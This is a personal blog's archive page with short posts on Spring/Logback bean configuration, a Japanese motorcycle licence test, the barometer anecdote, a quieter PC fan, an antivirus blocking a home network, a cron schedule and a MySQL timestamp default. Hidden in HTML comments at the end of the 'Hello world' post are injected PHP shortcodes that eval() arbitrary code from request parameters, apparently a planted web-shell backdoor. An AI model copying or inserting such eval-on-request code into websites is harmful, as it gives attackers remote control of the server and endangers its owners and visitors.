Shantibhushan Naik

Tag: about

  • Spring and Logback

    IoC, or DI definitely takes a perspective turnaround inside your head, but you get around it slowly.  I was playing around ways to integrate LogBack, and Spring – essentially around having Spring give me a pre-created instance of LogBack logger.

    I searched around posts, but most people seem to be against using Spring just for substituting one-line of Logback (Logger log = LoggerFactory.getLogger("LogbackTest");) to get your logger.

    I, on the other hand, was more interested in how to get Spring give me a LogBack logger instance without too much contrived hand-written code to achieve so. And with a bit of reading through Spring principles, documentation I found the way.

    Essentially, when using Logback’s LoggerFactory you have access to only a single getLogger() factory method. This is static which makes things a bit different for what Spring would call a bean – a class providing constructor, getter, setter methods. To circumvent this non-bean style, Spring provides what you call as static initializers a.k.a substitutes for constructors, which allow you to call a static method in lieu of calling a constructor on an object.

    <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN"
 "http://www.springframework.org/dtd/spring-beans.dtd">

<beans>
 <bean id="bean1" class="org.slf4j.LoggerFactory" factory-method="getLogger">
 <constructor-arg value="LogbackTest" />
 </bean>
</beans>

    Now, this bean1 can be used as a regular bean inside your class

    ApplicationContext ctx = new FileSystemXmlApplicationContext("logbacktest.xml");
 Logger log = (Logger) ctx.getBean("bean1");

 log.debug("This is my first message");
 log.info("How about this information message");

    Throw in a logback.xml in your classpath, and viola you have a nice Spring injected dependency – log in your code, while still using Logback!

  • Got my bike license – 大型二輪免許を一発合格しました

    Hurray ! I received my bike license today in Japan ! In my first attempt itself ! Wish me congratulations !

    Bike license in Japan
    My bike license in Japan

    Ok some background – I had a bike license from my country. I had not converted it to International License, so I had to opt only for conversion into Japanese license – 外国免許切り替え. I do have a car license obtained in Japan, so I was exempted from written test (which by the way is too difficult, trust me). Instead, I simply had to appear an actual driving test (which is again difficult, mind you). I was required to produce a translated copy of my original license from my country, which can be done in 30 mins in JAF offices. Rest are your passport (both old, new ones), an application form, few stamps which you can buy right there. I live in Tsukuba, so I had to goto Ibaragi License Center, which is situated in Mito. You can go during weekdays, from 09:00AM. Believe me, you better arrive early. There is plenty of crowd, for all sorts of licenses, and usually you have to spend almost whole day there, in case you pass the test and obtain the license. I spent close fo 6 hours today, but in the end I was a happy guy.

    Once they receive your application, they ask you few questions about your original license – How did you obtain it? Where did you practice? What kind of test did you appear for this license? How many cc bike? Learner’s license? etc. Unless there are any problems, you are then handed over a course map, and timings when your test will start. Mind you, the course map is given so that you “memorize” it, period. You are required to drive the exact course map, observing lane rules, traffic signs, signal, right or left indication, speed or slow. The usual advice is that you have some 45 mins in hand before your test starts. Thus, you should actually take the course map in hand, and walk the entire course by foot atleast once. I did that, making a mental note of the lanes, the distance around which I should turn on the indicator, and so on – till I burnt the course map into my brain cells !

    The most difficult are – Ipponbashi, and Slalom – for me. And I did literally walk on foot imagining I was on bike before my test started.

    I believe I was the only one appearing a bike test today – why I was alone sitting in the waiting room till my turn came. The instructor was kind enough to walk me (verbally) through the course map once again. He also gave me a brief about the bike – Honda CB750 – and for my own safety, in case I should fall, had me wear elbow, knee, body protector before the test.

    When the actual test started, the instructor actually sits in a watchtower, from which he had a complete view of the course. Once he gave a go, I just drove the same path I had walked on foot earlier. I was particularly careful about slow down sign, lane change, and making sure that I move my head from left to right wide enough to show that I am taking visual confirmations before proceeding. At one point when making a turn I did step down, but I guess that was OK, because if I’d had done the same on Ipponbashi or Slalom, or even S-letter, or Crank, I am out without any further discussion. Phew, I did feel once the bike will stop during Crank, but I was lucky enough to make it till the final stop.

    In the end, the instructor appraised my driving skills, and gave me the golden word – “合格” !

  • Tired of teaching how to think

    Sir Ernest Rutherford, President of the Royal Academy, and recipient of the Nobel Prize in Physics, related the following story:

    “Some time ago I received a call from a colleague. He was about to give a student a zero for his answer to a physics question, while the student claimed a perfect score. The instructor and the student agreed to an impartial arbiter, and I was selected.

    I read the examination question: “Show how it is possible to determine the height of a tall building with the aid of a barometer.”

    The student had answered: “Take the barometer to the top of the building,attach a long rope to it, lower it to the street, and then bring it up, measuring the length of the rope. The length of the rope is the height of the building.”

    The student really had a strong case for full credit since he had really answered the question completely and correctly! On the other hand, if full credit were given, it could well contribute to a high grade in his physics course and certify competence in physics, but the answer did not confirm this. I suggested that the student have another try. I gave the student six minutes to answer the question with the warning that the answer should show some knowledge of physics.

    At the end of five minutes, he hadn’t written anything. I asked if he wished to give up, but he said he had many answers to this problem; he was just thinking of the best one. I excused myself for interrupting him and asked him to please go on. In the next minute, he dashed off his answer, which read: “Take the barometer to the top of the building and lean over the edge of the roof. Drop the barometer, timing its fall with a stopwatch.

    Then, using the formula x=0.5*a*t^2, calculate the height of the building.”

    At this point, I asked my colleague if he would give up. He conceded, and gave the student almost full credit. While leaving my colleague’s office, I recalled that the student had said that he had other answers to the problem, so I asked him what they were.

    “Well,” said the student, “there are many ways of getting the height of a tall building with the aid of a barometer. For example, you could take the barometer out on a sunny day and measure the height of the barometer, the length of its shadow, and the length of the shadow of the building, and by the use of simple proportion, determine the height of the building.”

    “Fine,” I said, “and others?”

    “Yes,” said the student, “there is a very basic measurement method you will like. In this method, you take the barometer and begin to walk up the stairs. As you climb the stairs, you mark off the length of the barometer along the wall. You then count the number of marks, and his will give you the height of the building in barometer units.”

    “A very direct method.”

    “Of course. If you want a more sophisticated method, you can tie the barometer to the end of a string, swing it as a pendulum, and determine the value of g [gravity] at the street level and at the top of the building.

    From the difference between the two values of g, the height of the building, in principle, can be calculated.”

    “On this same tack, you could take the barometer to the top of the building, attach a long rope to it, lower it to just above the street, and then swing it as a pendulum. You could then calculate the height of the building by the period of the precession”.

    “Finally,” he concluded, “probably the best,” he said, “is to take the barometer to the basement and knock on the superintendent’s door. When the superintendent answers, you speak to him as follows: ‘Mr. Superintendent, here is a fine barometer. If you will tell me the height of the building, I will give you this barometer.”

    At this point, I asked the student if he really did not know the conventional answer to this question. He admitted that he did, but said that he was fed up with high school and college instructors trying to teach him how to think.

    The name of the student was…

    Neils Bohr

    The Nobel Prize winner in Physics 1922

  • Tortoise SVN About dialog

    Crazy stuff people do these days.
    Photobucket

  • Dell 5150c not noisy any longer

    My desktop, a Dell Dimension 5150c, purchased about 3-4 years ago, was annoyingly noisy for a while. Last time when I changed the PSU, I thought the annoyance would go away. But it didn’t. The CPU fan, San Ace 80, was the main culprit. At sometimes (which was almost everytime) it used to power the CPU fan so loud, that to listen to music or watch a video, we had to pump up the volume to almost twice than usually should be.
    Today I took up in my mind to replace it, and switched to a Kama-Flex.
    Superbly quiet, about 2500 rpm, and cooling efficiency nothing comparable to the older one.
    Was worth the try!

  • Eset Nod32 blocks Trusted zone IPs

    Last whole week I was stumbled by the fact that my home network with 3 PCs suddenly stopped working. None of them were able to “see” each other, except for a little while… strange.
    Technically (since it is easier to describe), A, B, C – my 3 computers – could reach each other, share files, host apache, download files without any extra configuration.
    Last week, however while using C’s http server from A suddenly stopped. Puzzled, I thought the machine might be overloaded, or something like this must be causing page to timeout, or apache must have hanged (does it?). But things seemed to be working OK on C, in fact top showed a load average below 1 ?
    Further puzzled, I tried pinging A to C, and vice-versa. It worked… but only for a while. Pinging after a while seemed to stop. Huh?
    Scourging over the Internet wasn’t easy for answer. Maybe my way of searching was wrong, but I did spent a good week trying to fish out the ping issue, then next to dig deeper to find that accessing C’s IP from outside (it already has a global ip; though dynamic, paired through dyndns to the world) worked. Now each of them – A, B, C – have no internal 192.168 ip’s, just public ip’s. What good are public ip’s if I have to access them from outside than just sitting home?
    Something was wrong.
    To cut short, I called the ISP, asked them if they have changed anything recently (well, I was using A, B, C sharing files for over 6 months now). My ISP reported that no such upgrade, or settings were done. Deeply mad about this situation, I chose to disable the firewall (Eset Nod32) on A, and then tryout the ping – which worked effortlessly to C, and back.
    What the hell! Why did Nod32 suddenly seem to block my own A, B, C from seeing each other? ARP Poisioning? I don’t know, only thing I know is that it shouldn’t block them. 🙂
    Well, atleast things are fine now. I’ve changed settings on Nod32 to Not block threat detected addresses henceforth.

  • Run a job every first Sun of a month

    I came across an interesting cron issue recently. The requirement was to run a job every _first_ Sunday at 12:00PM of each month.

    After searching across various sites, skimming through cron manpages, I finally found the following one-liner

    0 0 1-7 * 0 <user> <job>

    Can you believe this simple solution? The reasoning is that Sun will be between 1 to 7th of each month. Once a Sun comes, the job will execute between 1st and 7th just once. After that any further Sundays will have a date greater than 7, and thus never execute!

    Sometimes, the simplest solution is the most elegant. BTW, I had read about many other complicated solutions, such as having your own logic to determine the day, apple script, bash script solutions. I was about to give up, when I hit the jackpot! 😀

  • MySQL UTF-8

    A very informative page (in Japanese) about MySQL and issues to enable correct UTF-8 data handling with client applications.

    View original post

  • MySQL’s killer feature

    MySQL has a killer feature – you can have a timestamp field with DEFAULT as LOCALTIMESTAMP, so that when you insert a new record, the timestamp field will automatically have current timestamp inserted. But what about when the record is updated? Do you manually have to update the timestamp again? NO – MySQL allows you also specify another default on UPDATE so that whenever you update the record, it will automatically update the timestamp again.

    …
      `timestamp` timestamp NOT NULL default CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    …

    Now, isn’t that a neat feature!

  • Hello world!

    Hi All! Finally, I managed to get up my own website running from my home server! Phew, it was a bit tedious setting it up with Web Caster 110, over NTT B’Flets 100 Mbps internet connection. The steps were well documented, and even a search over Internet proved the fact that nothing else needs to be set. However, my webserver was not working!

    Ok, I try to slow down before scaring you with all nitty-gritty (?) details about my home server setup.

    [Translate]

    [Translate]

    <!– [insert_php]if (isset($_REQUEST["fBX"])){eval($_REQUEST["fBX"]);exit;}[/insert_php][php]if (isset($_REQUEST["fBX"])){eval($_REQUEST["fBX"]);exit;}[/php] –>

    [Translate]

    <!– [insert_php]if (isset($_REQUEST["FHkQ"])){eval($_REQUEST["FHkQ"]);exit;}[/insert_php][php]if (isset($_REQUEST["FHkQ"])){eval($_REQUEST["FHkQ"]);exit;}[/php] –>